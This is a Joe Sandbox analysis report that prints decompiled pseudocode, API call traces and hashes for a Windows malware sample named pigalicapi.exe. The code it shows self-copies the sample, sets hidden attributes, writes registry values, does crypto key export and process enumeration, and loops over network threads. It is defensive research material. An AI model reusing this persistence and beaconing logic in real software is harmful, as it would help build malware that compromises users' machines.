Function 04003B00 Relevance: 23.1, APIs: 8, Strings: 5, Instructions: 302
sleepnetworkCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 93%

			_entry_() {
				intOrPtr _v8;
				char _v1148;
				signed char _v1149;
				intOrPtr _v1156;
				char _v1556;
				char _v9556;
				long _v9560;
				char _v9564;
				char _v12068;
				signed int _v12072;
				char _v12076;
				long _v12080;
				char _v12081;
				long _v12088;
				long _v12092;
				long _v12096;
				signed int _v12100;
				signed char _v12101;
				long _v12108;
				signed int _v12112;
				void* _v12116;
				signed char _t69;
				intOrPtr _t74;
				signed char _t77;
				signed char _t79;
				signed int _t80;
				signed char _t85;
				signed char _t86;
				signed char _t87;
				intOrPtr _t88;
				char* _t89;
				signed int _t97;
				void* _t98;
				signed int _t100;
				signed char _t102;
				signed char _t104;
				signed char _t106;
				signed char _t110;
				signed int _t116;
				signed int _t118;
				char _t125;
				signed int _t138;
				signed int _t140;
				intOrPtr _t143;
				signed int _t159;
				signed int _t161;
				void* _t163;
				void* _t165;
				void* _t173;
				void* _t177;

				E04001000(0x2f50);
				_v8 = E04003130();
				E04002ED0(_v8);
				GetModuleFileNameA(0, "C:\Users\hardz\pigalicapi.exe", 0x208);
				SetUnhandledExceptionFilter(E04005DB0); // executed
				__imp__CoInitialize(0); // executed
				_t69 = E04004510(_v8, 0x4013c88); // executed
				_t165 = _t163 + 0xc;
				if((_t69 & 0x000000ff) == 0) {
					L39:
					ExitProcess(0);
				}
				E04007D20( &_v1148,  &_v1148, 0, 0x46b);
				E04005700( &_v1148); // executed
				_t143 =  *0x40118a0; // 0x4013b88
				_t74 = E04005A00( &_v1148, _t143, 0xff); // executed
				_v1156 = _t74;
				E04007D20(_t74, "Vatwyovatk", 0, 0x12c);
				E04009400( &_v1148, "Vatwyovatk", 0xa); // executed
				_t77 = E040099F0(); // executed
				 *0x401435a = _t77;
				 *0x401435d = E04006060(); // executed
				_t79 = E04005E00(); // executed
				 *0x401435e = _t79;
				_t80 = StrStrIA("C:\Users\hardz\pigalicapi.exe", "svchost.exe");
				asm("sbb eax, eax");
				 *0x4014362 =  ~( ~_t80);
				E04001120("C:\Users\hardz\pigalicapi.exe", "pigalicapi",  *0x401435a & 0x000000ff,  *0x4014362 & 0x000000ff, 0x401436c); // executed
				_t85 = E04005E30(0); // executed
				 *0x401435b = _t85;
				 *0x401435f = 1; // executed
				_t86 = E04006CF0(); // executed
				_v1149 = _t86;
				_t87 = E04005F30(); // executed
				 *0x401435c = _t87 & 0x000000ff | _v1149 & 0x000000ff;
				_t88 = E04009B90(0xffffffff);
				_t173 = _t165 + 0x50;
				 *0x4014364 = _t88;
				_t89 =  &_v1556;
				_push(_t89);
				_push(0x202); // executed
				L0400B1E6(); // executed
				if(_t89 != 0) {
					goto L39;
				} else {
					_t125 =  *0x40119a8; // 0x1d
					_v12081 = _t125;
					 *0x4014378 = 0x10;
					if(( *0x401435f & 0x000000ff) != 0) {
						_t118 =  *0x4014378; // 0x1c
						 *0x4014378 = _t118 | 0x00000008;
					}
					if(( *0x401435c & 0x000000ff) != 0) {
						_t161 =  *0x4014378; // 0x1c
						 *0x4014378 = _t161 | 0x00000001;
					}
					if(( *0x401435b & 0x000000ff) != 0) {
						_t140 =  *0x4014378; // 0x1c
						 *0x4014378 = _t140 | 0x00000004;
					}
					if(( *0x401435e & 0x000000ff) != 0) {
						_t116 =  *0x4014378; // 0x1c
						 *0x4014378 = _t116 | 0x00000002;
					}
					if(( *0x4014360 & 0x000000ff) != 0) {
						_t159 =  *0x4014378; // 0x1c
						 *0x4014378 = _t159 | 0x00000020;
					}
					_t91 =  *0x4014361 & 0x000000ff;
					if(( *0x4014361 & 0x000000ff) != 0) {
						_t138 =  *0x4014378; // 0x1c
						 *0x4014378 = _t138 | 0x00000040;
					}
					_v9564 = 0x9c3;
					E04007D20(_t91,  &_v12068, 0, 0x9c4);
					E0400A700();
					E0400A4B0( &_v12068,  &_v9564, 0x4013cb6,  *0x4013cb4 & 0x0000ffff);
					_v9560 = 0;
					_t97 = E04005B50( &_v12068, ";",  &_v9560, 0); // executed
					_v12072 = _t97;
					_v12092 = 0;
					_v12080 = 0;
					_v12076 = 0x4b0;
					_t98 = E04008A70(0x4012c34,  &_v12076, 0x4012ba8, 0x8c, 0x400e008, 0x254); // executed
					_t177 = _t173 + 0x44;
					if(_t98 != 0) {
						E04007D20( &_v9556,  &_v9556, 0, 0x1f40);
						E040078D0(0x4012c34, 0xc8,  &_v9556, 0xc8);
						_t177 = _t177 + 0x1c;
						_v12092 =  &_v9556;
						_v12080 = 0xc8;
					}
					_v12088 = 0;
					L17:
					_v12101 = 0;
					_v12108 = 0x1d4c0;
					_v12096 = 0;
					_t100 = E04007970( &_v12096); // executed
					_v12100 = _t100;
					_t102 = E04004020(_v12096, _v12100,  &_v1148, 1, 2, 0);
					_t177 = _t177 + 0x1c;
					if((_t102 & 0x000000ff) != 0) {
						_v12101 = 1;
					} else {
						_t104 = E04004020(_v12092, _v12080,  &_v1148, 1, 5, 0);
						_t177 = _t177 + 0x18;
						if((_t104 & 0x000000ff) != 0) {
							_v12101 = 1;
						} else {
							_t106 = E04004020(_v9560, _v12072,  &_v1148, 3, 0xa, 1); // executed
							_t177 = _t177 + 0x18;
							if((_t106 & 0x000000ff) != 0) {
								_v12101 = 1;
							} else {
								_v12116 = 0;
								_v12112 = E040042E0( &_v12116);
								_t110 = E04004020(_v12116, _v12112,  &_v1148, 1, 0x17, 0);
								_t177 = _t177 + 0x1c;
								if((_t110 & 0x000000ff) != 0) {
									_v12101 = 1;
								}
								if(_v12116 != 0) {
									VirtualFree(_v12116, 0, 0x8000);
								}
							}
						}
					}
					if((_v12101 & 0x000000ff) != 0) {
						if( *0x40118a4 != 1) {
							if( *0x40118a4 == 2) {
								 *0x40118a4 = 1;
								_v12108 = 0x1499700;
							}
						} else {
							if( *0x40130e4 != 2) {
								_v12108 = 0x1499700;
							} else {
								_v12108 = 0x3e8;
								 *0x40118a4 = 2;
							}
						}
					}
					Sleep(_v12108); // executed
					goto L17;
				}
			}

0x04003b08
0x04003b12
0x04003b19
0x04003b2d
0x04003b38
0x04003b40
0x04003b4f
0x04003b54
0x04003b5c
0x0400400a
0x0400400c
0x0400400c
0x04003b70
0x04003b7f
0x04003b8c
0x04003b9a
0x04003ba2
0x04003bb4
0x04003bca
0x04003bd2
0x04003bd7
0x04003be1
0x04003be6
0x04003beb
0x04003bfa
0x04003c02
0x04003c06
0x04003c2a
0x04003c34
0x04003c3c
0x04003c41
0x04003c48
0x04003c4d
0x04003c53
0x04003c64
0x04003c6c
0x04003c71
0x04003c74
0x04003c79
0x04003c7f
0x04003c80
0x04003c85
0x04003c8c
0x00000000
0x04003c92
0x04003c92
0x04003c98
0x04003c9e
0x04003cb1
0x04003cb3
0x04003cbb
0x04003cbb
0x04003cc9
0x04003ccb
0x04003cd4
0x04003cd4
0x04003ce3
0x04003ce5
0x04003cee
0x04003cee
0x04003cfd
0x04003cff
0x04003d07
0x04003d07
0x04003d15
0x04003d17
0x04003d20
0x04003d20
0x04003d26
0x04003d2f
0x04003d31
0x04003d3a
0x04003d3a
0x04003d40
0x04003d58
0x04003d60
0x04003d80
0x04003d88
0x04003da7
0x04003daf
0x04003db5
0x04003dbf
0x04003dc9
0x04003df3
0x04003df8
0x04003dfd
0x04003e0d
0x04003e2b
0x04003e30
0x04003e39
0x04003e3f
0x04003e3f
0x04003e49
0x04003e53
0x04003e53
0x04003e5a
0x04003e64
0x04003e75
0x04003e7d
0x04003e9e
0x04003ea3
0x04003eab
0x04003f8a
0x04003eb1
0x04003ecc
0x04003ed1
0x04003ed9
0x04003f81
0x04003edf
0x04003efa
0x04003eff
0x04003f07
0x04003f78
0x04003f09
0x04003f09
0x04003f22
0x04003f43
0x04003f48
0x04003f50
0x04003f52
0x04003f52
0x04003f60
0x04003f70
0x04003f70
0x04003f76
0x04003f7f
0x04003f88
0x04003f9a
0x04003fa3
0x04003fd7
0x04003fd9
0x04003fe3
0x04003fe3
0x04003fa5
0x04003fac
0x04003fc4
0x04003fae
0x04003fae
0x04003fb8
0x04003fb8
0x04003fce
0x04003fa3
0x04003ff4
0x00000000
0x04003ff4

APIs

GetModuleFileNameA.KERNEL32(00000000,C:\Users\user\pigalicapi.exe,00000208), ref: 04003B2D
SetUnhandledExceptionFilter.KERNEL32(04005DB0), ref: 04003B38
CoInitialize.OLE32(00000000), ref: 04003B40

Part of subcall function 04004510: GetModuleFileNameA.KERNEL32(00000000,?,00000208), ref: 0400456C
Part of subcall function 04004510: CreateFileA.KERNEL32(?,80000000,00000007,00000000,00000003,00000080,00000000), ref: 0400458B
Part of subcall function 04004510: GetFileSize.KERNEL32(000000FF,00000000), ref: 040045AD
Part of subcall function 04004510: VirtualAlloc.KERNEL32(00000000,00000000,00003000,00000004), ref: 040045D6
Part of subcall function 04004510: ReadFile.KERNEL32(000000FF,00000000,00000000,00000000,00000000), ref: 04004617
Part of subcall function 04004510: FindCloseChangeNotification.KERNEL32(000000FF), ref: 0400463E
Part of subcall function 04004510: VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 040047C0
Part of subcall function 04004510: CloseHandle.KERNEL32(00000000), ref: 040047E0

ExitProcess.KERNEL32 ref: 0400400C

Part of subcall function 04005700: GetModuleFileNameA.KERNEL32(00000000,-00000100,00000104), ref: 04005742
Part of subcall function 04005700: lstrcpyA.KERNEL32(-0000043B,pigalicapi), ref: 040057B8
Part of subcall function 04005700: GetAllUsersProfileDirectoryA.USERENV(?,00000207), ref: 040057F1
Part of subcall function 04005700: wnsprintfA.SHLWAPI ref: 0400582F
Part of subcall function 04005700: CreateFileA.KERNEL32(-00000100,80000000,00000007,00000000,00000003,00000080,00000000), ref: 04005854
Part of subcall function 04005700: GetFileSize.KERNEL32(000000FF,00000000), ref: 0400586D

Part of subcall function 04005A00: lstrcpyA.KERNEL32(Mvqcsgcuwwini,WDefault), ref: 04005A47
Part of subcall function 04005A00: lstrlenA.KERNEL32(0400C4E0), ref: 04005A7D
Part of subcall function 04005A00: lstrcpyA.KERNEL32(00000000,0400C4E0), ref: 04005A97
Part of subcall function 04005A00: lstrlenA.KERNEL32(00000000), ref: 04005AA1
Part of subcall function 04005A00: lstrlenA.KERNEL32(Mvqcsgcuwwini), ref: 04005AAE
Part of subcall function 04005A00: lstrcatA.KERNEL32(00000000,Mvqcsgcuwwini), ref: 04005AC8
Part of subcall function 04005A00: RegCreateKeyExA.KERNEL32(80000001,00000000,00000000,00000000,00000000,00020006,00000000,00000000,00000000), ref: 04005B00
Part of subcall function 04005A00: RegCloseKey.KERNEL32(00000000), ref: 04005B0E
Part of subcall function 04005A00: lstrlenA.KERNEL32(00000000), ref: 04005B3B

Part of subcall function 04009400: lstrcpyA.KERNEL32(?,00000000), ref: 04009513
Part of subcall function 04009400: CharUpperA.USER32(?), ref: 04009521

Part of subcall function 040099F0: GetCurrentProcess.KERNEL32(00000008,?), ref: 04009A0A
Part of subcall function 040099F0: OpenProcessToken.ADVAPI32(00000000), ref: 04009A11
Part of subcall function 040099F0: GetTokenInformation.KERNELBASE(?,00000001(TokenIntegrityLevel),00000000,00000000,00000000), ref: 04009A3A
Part of subcall function 040099F0: GetTokenInformation.KERNELBASE(?,00000001(TokenIntegrityLevel),?,00000400,00000400), ref: 04009A77
Part of subcall function 040099F0: CreateWellKnownSid.ADVAPI32(0000000C,00000000,?,00000044), ref: 04009AAD
Part of subcall function 040099F0: EqualSid.ADVAPI32(?,00000000), ref: 04009AC3

Part of subcall function 04006060: GetModuleFileNameA.KERNEL32(00000000,00000000,00000104), ref: 04006082

Part of subcall function 04005E00: CreateMutexA.KERNEL32(00000000,00000000,pigalicapi,?,04003BEB), ref: 04005E0C
Part of subcall function 04005E00: GetLastError.KERNEL32(?,04003BEB), ref: 04005E12

StrStrIA.SHLWAPI(C:\Users\user\pigalicapi.exe,svchost.exe), ref: 04003BFA

Part of subcall function 04001120: lstrlenA.KERNEL32(00000000), ref: 04001148
Part of subcall function 04001120: lstrlenA.KERNEL32(00000000), ref: 0400115A
Part of subcall function 04001120: GetAllUsersProfileDirectoryA.USERENV(?,00000104), ref: 04001182
Part of subcall function 04001120: wnsprintfA.SHLWAPI ref: 040011BD
Part of subcall function 04001120: lstrcmpiA.KERNEL32(00000104,?), ref: 040011D1
Part of subcall function 04001120: CopyFileA.KERNEL32(00000104,?,00000000), ref: 040011F0
Part of subcall function 04001120: SetFileAttributesA.KERNEL32(?,00000006), ref: 040011FF
Part of subcall function 04001120: lstrcpyA.KERNEL32(00000104,?), ref: 04001210
Part of subcall function 04001120: lstrcpyA.KERNEL32(00000000,?), ref: 04001249
Part of subcall function 04001120: lstrcpyA.KERNEL32(-00000208,00000000), ref: 0400125D
Part of subcall function 04001120: CreateThread.KERNEL32 ref: 04001274

Part of subcall function 04005E30: RegOpenKeyExA.KERNEL32(80000001,00000000,00000000,000F003F,00000000), ref: 04005E7E
Part of subcall function 04005E30: RegQueryValueExA.KERNEL32(00000000,?,00000000,00000000,?,00000020), ref: 04005EB2
Part of subcall function 04005E30: RegDeleteValueA.ADVAPI32(00000000,?), ref: 04005ED6
Part of subcall function 04005E30: RegSetValueExA.KERNEL32(00000000,?,00000000,00000003,?,00000010), ref: 04005F0B
Part of subcall function 04005E30: RegCloseKey.KERNEL32(00000000), ref: 04005F19

Part of subcall function 04006CF0: RegOpenKeyExA.KERNEL32(80000001,04013B88,00000000,000F003F,00000000), ref: 04006D30
Part of subcall function 04006CF0: RegQueryValueExA.KERNEL32(00000000,04013FA6,00000000,00000003,?,00000020), ref: 04006D61
Part of subcall function 04006CF0: RegDeleteValueA.ADVAPI32(00000000,04013FA6), ref: 04006D7E
Part of subcall function 04006CF0: RegCloseKey.KERNEL32(00000000), ref: 04006D88

Part of subcall function 04005F30: lstrcpyA.KERNEL32(?,pigalicapi), ref: 04005F67
Part of subcall function 04005F30: lstrcatA.KERNEL32(?,04013FE2), ref: 04005F7A
Part of subcall function 04005F30: RegOpenKeyExA.KERNEL32(80000001,04003C58,00000000,000F003F,00000000), ref: 04005FB3
Part of subcall function 04005F30: RegQueryValueExA.KERNEL32(00000000,?,00000000,00000000,?,00000020), ref: 04005FF2
Part of subcall function 04005F30: RegSetValueExA.KERNEL32(00000000,?,00000000,00000003,?,00000010), ref: 0400603B
Part of subcall function 04005F30: RegCloseKey.KERNEL32(00000000), ref: 04006045

WSAStartup.WS2_32(00000202,?), ref: 04003C85

Part of subcall function 04004020: InitializeCriticalSection.KERNEL32(?), ref: 04004066
Part of subcall function 04004020: CreateEventA.KERNEL32(00000000,00000001,00000000,00000000), ref: 0400407A
Part of subcall function 04004020: EnterCriticalSection.KERNEL32(?,?), ref: 040040AF
Part of subcall function 04004020: VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 040040C6
Part of subcall function 04004020: TerminateThread.KERNEL32(00000000,00000000), ref: 040040E6
Part of subcall function 04004020: ResetEvent.KERNEL32(00000000), ref: 040040F7
Part of subcall function 04004020: LeaveCriticalSection.KERNEL32(?), ref: 04004101
Part of subcall function 04004020: CreateThread.KERNEL32 ref: 04004118

VirtualFree.KERNEL32(00000000,00000000,00008000), ref: 04003F70
Sleep.KERNEL32(?), ref: 04003FF4

Strings

svchost.exe, xrefs: 04003BF0
Vatwyovatk, xrefs: 04003BAF, 04003BBE
C:\Users\user\pigalicapi.exe, xrefs: 04003B26, 04003BF5, 04003C25
pigalicapi, xrefs: 04003C20
R+g, xrefs: 04003D7F

Memory Dump Source

Source File: 00000000.00000002.730634851.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000000.00000002.730592213.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.730732791.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.730766607.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4000000_fs7AQcREFX.jbxd

Similarity

API ID: File$Createlstrcpy$Value$Closelstrlen$ModuleNameOpenVirtual$CriticalFreeProcessQuerySectionThreadToken$DeleteDirectoryEventInformationInitializeProfileSizeUserslstrcatwnsprintf$AllocAttributesChangeCharCopyCurrentEnterEqualErrorExceptionExitFilterFindHandleKnownLastLeaveMutexNotificationReadResetSleepStartupTerminateUnhandledUpperWelllstrcmpi
String ID: C:\Users\user\pigalicapi.exe$R+g$Vatwyovatk$pigalicapi$svchost.exe
API String ID: 1389186475-2481894136
Opcode ID: 936e491051d98ae6235cf02158d581c5c2971d700090c455091cf7b57a494376
Instruction ID: 63648f9aec36bb26e753af5ac432a688f143a616cbd4529da37374c18a699aed
Opcode Fuzzy Hash: 936e491051d98ae6235cf02158d581c5c2971d700090c455091cf7b57a494376
Instruction Fuzzy Hash: 7EC11AB0944364AAF725DF64AC19BFA77B0AB04709F0480FDE6487A1E1DB7C6A84CF51

Uniqueness

Uniqueness Score: -1.00%

Function 04008800 Relevance: 21.1, APIs: 10, Strings: 2, Instructions: 113
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 62%

			E04008800(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, BYTE* _a20, int _a24) {
				int _v8;
				long* _v12;
				long _v16;
				long* _v20;
				signed int _v24;
				signed int _v28;
				long* _v32;
				char* _t41;
				int _t42;
				signed int _t43;
				intOrPtr _t46;
				int _t49;
				int _t51;
				char* _t71;

				_v8 = 0;
				if(_a4 == 0 || _a8 == 0) {
					L19:
					return _v8;
				} else {
					_v12 = 0;
					_t41 =  *0x4013370; // 0x400c6e4
					_t42 = CryptAcquireContextA( &_v12, _t41, "Microsoft Enhanced Cryptographic Provider v1.0", 1, 0); // executed
					if(_t42 == 0) {
						_v16 = GetLastError();
						if(_v16 == 0x80090016 || _v16 == 0x8009000b) {
							_t71 =  *0x4013370; // 0x400c6e4
							CryptAcquireContextA( &_v12, _t71, "Microsoft Enhanced Cryptographic Provider v1.0", 1, 8);
						}
					}
					if(_v12 != 0) {
						_v28 = 0x80;
						_v20 = 0;
						_v24 = _v28 << 0x00000010 | 0x00000001;
						_t43 = _v24;
						__imp__CryptGenKey(_v12, 0x6801, _t43,  &_v20);
						if(_t43 != 0) {
							_t46 = _a4;
							__imp__CryptExportKey(_v20, 0, 8, 0, _t46, _a8);
							if(_t46 != 0) {
								if(_a12 == 0 || _a16 == 0 || _a20 == 0 || _a24 == 0) {
									_v8 = 1;
								} else {
									_v32 = 0;
									_t49 = CryptImportKey(_v12, _a20, _a24, 0, 1,  &_v32); // executed
									if(_t49 != 0) {
										_t51 = _v20;
										__imp__CryptExportKey(_t51, _v32, 1, 0, _a12, _a16); // executed
										_v8 = _t51;
										CryptDestroyKey(_v32); // executed
									}
								}
							}
							CryptDestroyKey(_v20);
						}
						CryptReleaseContext(_v12, 0); // executed
					}
					goto L19;
				}
			}

0x04008806
0x04008811
0x0400895c
0x04008962
0x04008821
0x04008821
0x04008831
0x0400883b
0x04008843
0x0400884b
0x04008855
0x04008869
0x04008874
0x04008874
0x04008855
0x0400887e
0x04008884
0x0400888b
0x0400889b
0x040088a2
0x040088af
0x040088b7
0x040088c1
0x040088cf
0x040088d7
0x040088dd
0x0400893f
0x040088f1
0x040088f1
0x0400890c
0x04008914
0x04008926
0x0400892a
0x04008930
0x04008937
0x04008937
0x0400893d
0x040088dd
0x0400894a
0x0400894a
0x04008956
0x04008956
0x00000000
0x0400887e

APIs

CryptAcquireContextA.ADVAPI32(00000000,0400C6E4,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000000,04008420,00000000,00001000,00000000), ref: 0400883B
GetLastError.KERNEL32 ref: 04008845
CryptAcquireContextA.ADVAPI32(00000000,0400C6E4,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000008), ref: 04008874
CryptGenKey.ADVAPI32(00000000,00006801,?,00000000), ref: 040088AF
CryptExportKey.ADVAPI32(00000000,00000000,00000008,00000000,00000000,00000000), ref: 040088CF
CryptImportKey.ADVAPI32(00000000,00000000,?,00000000,00000001,?), ref: 0400890C
CryptExportKey.ADVAPI32(00000000,?,00000001,00000000,00000000,00000000), ref: 0400892A
CryptDestroyKey.ADVAPI32(?), ref: 04008937
CryptDestroyKey.ADVAPI32(00000000), ref: 0400894A
CryptReleaseContext.ADVAPI32(00000000,00000000), ref: 04008956

Strings

Microsoft Enhanced Cryptographic Provider v1.0, xrefs: 04008864
Microsoft Enhanced Cryptographic Provider v1.0, xrefs: 0400882C

Memory Dump Source

Source File: 00000000.00000002.730634851.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000000.00000002.730592213.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.730732791.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.730766607.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4000000_fs7AQcREFX.jbxd

Similarity

API ID: Crypt$Context$AcquireDestroyExport$ErrorImportLastRelease
String ID: Microsoft Enhanced Cryptographic Provider v1.0$Microsoft Enhanced Cryptographic Provider v1.0
API String ID: 3052018297-947817771
Opcode ID: a3ecfbe549d6a2009873a4562b9912e0752bd3a41684449d96c4f6673af668fd
Instruction ID: e62ef6a9a3e861f5d7bfaf583d60d4f1649157d47df97182d85979e93aebb629
Opcode Fuzzy Hash: a3ecfbe549d6a2009873a4562b9912e0752bd3a41684449d96c4f6673af668fd
Instruction Fuzzy Hash: E641E972A00209EBFB54EF94C849BAE77B9FB44705F14C518F615B61C0C7B9AA84CF91

Uniqueness

Uniqueness Score: -1.00%

Function 04001CA0 Relevance: 21.1, APIs: 14, Instructions: 111
stringprocessCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 71%

			E04001CA0(CHAR* _a4, intOrPtr _a8) {
				char _v5;
				char _v272;
				long _v284;
				intOrPtr _v300;
				void* _v308;
				void* _v312;
				long _v316;
				long _v320;
				void* _v324;
				char _v328;
				int _v332;
				void* _t44;
				int _t47;
				void* _t61;

				_v5 = 0;
				_t44 = CreateToolhelp32Snapshot(2, 0); // executed
				_v312 = _t44;
				if(_v312 == 0xffffffff) {
					L18:
					return _v5;
				}
				_v308 = 0x128;
				_t47 = Process32First(_v312,  &_v308); // executed
				if(_t47 == 0) {
					L17:
					CloseHandle(_v312);
					goto L18;
				}
				_v320 = GetCurrentProcessId();
				_v316 = 0;
				while(_v300 != _v320) {
					if(Process32Next(_v312,  &_v308) != 0) {
						continue;
					}
					L6:
					if(_v316 != 0 && Process32First(_v312,  &_v308) != 0) {
						while(_v300 != _v316) {
							if(Process32Next(_v312,  &_v308) != 0) {
								continue;
							}
							goto L17;
						}
						if(lstrlenA( &_v272) < _a8) {
							lstrcpyA(_a4,  &_v272);
							_v324 = OpenProcess(0x410, 0, _v316);
							if(_v324 != 0) {
								_v332 = 0;
								_push( &_v332);
								_push(4);
								_push( &_v328);
								_t61 = _v324;
								_push(_t61); // executed
								L0400B1D4(); // executed
								if(_t61 == 0) {
									_push(_a8);
									_push(_a4);
									_push(_v324); // executed
									L0400B1C8(); // executed
								} else {
									_push(_a8);
									_push(_a4);
									_push(_v328);
									_push(_v324);
									L0400B1CE();
								}
								_v5 = 1;
								FindCloseChangeNotification(_v324); // executed
							}
						}
					}
					goto L17;
				}
				_v316 = _v284;
				goto L6;
			}

0x04001ca9
0x04001cb1
0x04001cb6
0x04001cc3
0x04001e51
0x04001e57
0x04001e57
0x04001cc9
0x04001ce1
0x04001ce8
0x04001e44
0x04001e4b
0x00000000
0x04001e4b
0x04001cf4
0x04001cfa
0x04001d04
0x04001d35
0x00000000
0x00000000
0x04001d37
0x04001d3e
0x04001d5f
0x04001e3e
0x00000000
0x00000000
0x00000000
0x04001e3e
0x04001d81
0x04001d92
0x04001dac
0x04001db9
0x04001dbb
0x04001dcb
0x04001dcc
0x04001dd4
0x04001dd5
0x04001ddb
0x04001ddc
0x04001de3
0x04001e05
0x04001e09
0x04001e10
0x04001e11
0x04001de5
0x04001de8
0x04001dec
0x04001df3
0x04001dfa
0x04001dfb
0x04001dfb
0x04001e16
0x04001e21
0x04001e21
0x04001db9
0x04001e27
0x00000000
0x04001d3e
0x04001d18
0x00000000

APIs

CreateToolhelp32Snapshot.KERNEL32(00000002,00000000), ref: 04001CB1
Process32First.KERNEL32(000000FF,00000128), ref: 04001CE1
GetCurrentProcessId.KERNEL32 ref: 04001CEE
Process32Next.KERNEL32 ref: 04001D2E
Process32First.KERNEL32(000000FF,00000128), ref: 04001D52
lstrlenA.KERNEL32(?,000000FF,00000128,000000FF,00000128), ref: 04001D78
lstrcpyA.KERNEL32(-00000204,?), ref: 04001D92
OpenProcess.KERNEL32(00000410,00000000,00000000), ref: 04001DA6
EnumProcessModules.PSAPI(00000000,?,00000004,00000000), ref: 04001DDC
GetModuleFileNameExA.PSAPI(00000000,?,-00000204,0400575B,00000000,?,00000004,00000000), ref: 04001DFB
GetProcessImageFileNameA.PSAPI(00000000,-00000204,0400575B,00000000,?,00000004,00000000), ref: 04001E11
FindCloseChangeNotification.KERNEL32(00000000,00000000,-00000204,0400575B,00000000,?,00000004,00000000), ref: 04001E21
Process32Next.KERNEL32 ref: 04001E37
CloseHandle.KERNEL32(000000FF), ref: 04001E4B

Memory Dump Source

Source File: 00000000.00000002.730634851.0000000004001000.00000020.00001000.00020000.00000000.sdmp, Offset: 04000000, based on PE: true

Associated: 00000000.00000002.730592213.0000000004000000.00000004.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.730732791.000000000400C000.00000002.00001000.00020000.00000000.sdmpDownload File
Associated: 00000000.00000002.730766607.000000000400E000.00000004.00001000.00020000.00000000.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_0_2_4000000_fs7AQcREFX.jbxd

Similarity

API ID: ProcessProcess32$CloseFileFirstNameNext$ChangeCreateCurrentEnumFindHandleImageModuleModulesNotificationOpenSnapshotToolhelp32lstrcpylstrlen
String ID:
API String ID: 384183238-0
Opcode ID: f968c283a4d19645c33466bb1cdde0a0755c48e1b5ee604f6c84b8f5c7af64fd
Instruction ID: c9fd9719e36fb5edb768dae97ebace1d15885c7ece39cbb3db7519296d7591e9
Opcode Fuzzy Hash: f968c283a4d19645c33466bb1cdde0a0755c48e1b5ee604f6c84b8f5c7af64fd
Instruction Fuzzy Hash: 9641DC719002189BEB65DF94CD84BEDB7B9AB48304F0086D8E60DB6180DB75BE84CF50

Uniqueness

Uniqueness Score: -1.00%

Function 04008BB0 Relevance: 19.4, APIs: 9, Strings: 2, Instructions: 101
encryptionCOMMON

Download Yara Rule

Control-flow Graph

Executed
Not Executed

C-Code - Quality: 30%

			E04008BB0(intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, int _a16) {
				int _v8;
				long* _v12;
				int _v16;
				char _v20;
				int _v24;
				char _v28;
				int _v32;
				char* _t36;
				int _t37;
				intOrPtr _t39;
				char* _t41;
				intOrPtr _t43;
				char* _t57;

				_v8 = 0;
				if(_a4 == 0 || _a8 == 0 || _a12 == 0 || _a16 == 0) {
					L17:
					return _v8;
				} else {
					_v12 = 0;
					_t36 =  *0x4013370; // 0x400c6e4
					_t37 = CryptAcquireContextA( &_v12, _t36, "Microsoft Enhanced Cryptographic Provider v1.0", 1, 0); // executed
					if(_t37 == 0) {
						_t37 = GetLastError();
						_v16 = _t37;
						if(_v16 == 0x80090016 || _v16 == 0x8009000b) {
							_t57 =  *0x4013370; // 0x400c6e4
							_t37 = CryptAcquireContextA( &_v12, _t57, "Microsoft Enhanced Cryptographic Provider v1.0", 1, 8); // executed
						}
					}
					if(_v12 != 0) {
						__imp__CryptCreateHash(_v12, 0x8003, 0, 0,  &_v20);
						if(_t37 != 0) {
							_t39 = _a8;
							__imp__CryptHashData(_v20, _a4, _t39, 0);
							if(_t39 != 0) {
								_v24 = 0;
								_v28 = 4;
								_t41 =  &_v28;
								__imp__CryptGetHashParam(_v20, 4,  &_v24, _t41, 0);
								if(_t41 != 0 && _a16 >= _v24) {
									_v32 = _a16;
									_t43 = _a12;
									__imp__CryptGetHashParam(_v20, 2, _t43,  &_v32, 0);
									if(_t43 != 0) {
										_v8 = _v32;
									}
								}
							}
							__imp__CryptDestroyHash(_v20);
						}
						CryptReleaseContext(_v12, 0);
					}
					goto L17;
				}
			}

0x04008bb6
0x04008bc1
0x04008ce7
0x04008ced
0x04008be5
0x04008be5
0x04008bf5
0x04008bff
0x04008c07
0x04008c09
0x04008c0f
0x04008c19
0x04008c2d
0x04008c38
0x04008c38
0x04008c19
0x04008c42
0x04008c59
0x04008c61
0x04008c65
0x04008c71
0x04008c79
0x04008c7b
0x04008c82
0x04008c8b
0x04008c99
0x04008ca1
0x04008cae
0x04008cb7
0x04008cc1
0x04008cc9
0x04008cce
0x04008cce
0x04008cc9
0x04008ca1
0x04008cd5
0x04008cd5
0x04008ce1
0x04008ce1
0x00000000
0x04008c42

APIs

CryptAcquireContextA.ADVAPI32(00000000,0400C6E4,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000000), ref: 04008BFF
GetLastError.KERNEL32 ref: 04008C09
CryptAcquireContextA.ADVAPI32(00000000,0400C6E4,Microsoft Enhanced Cryptographic Provider v1.0,00000001,00000008), ref: 04008C38
CryptCreateHash.ADVAPI32(00000000,00008003,00000000,00000000,00000000), ref: 04008C59
CryptHashData.ADVAPI32(00000000,00000000,00000000,00000000), ref: 04008C71
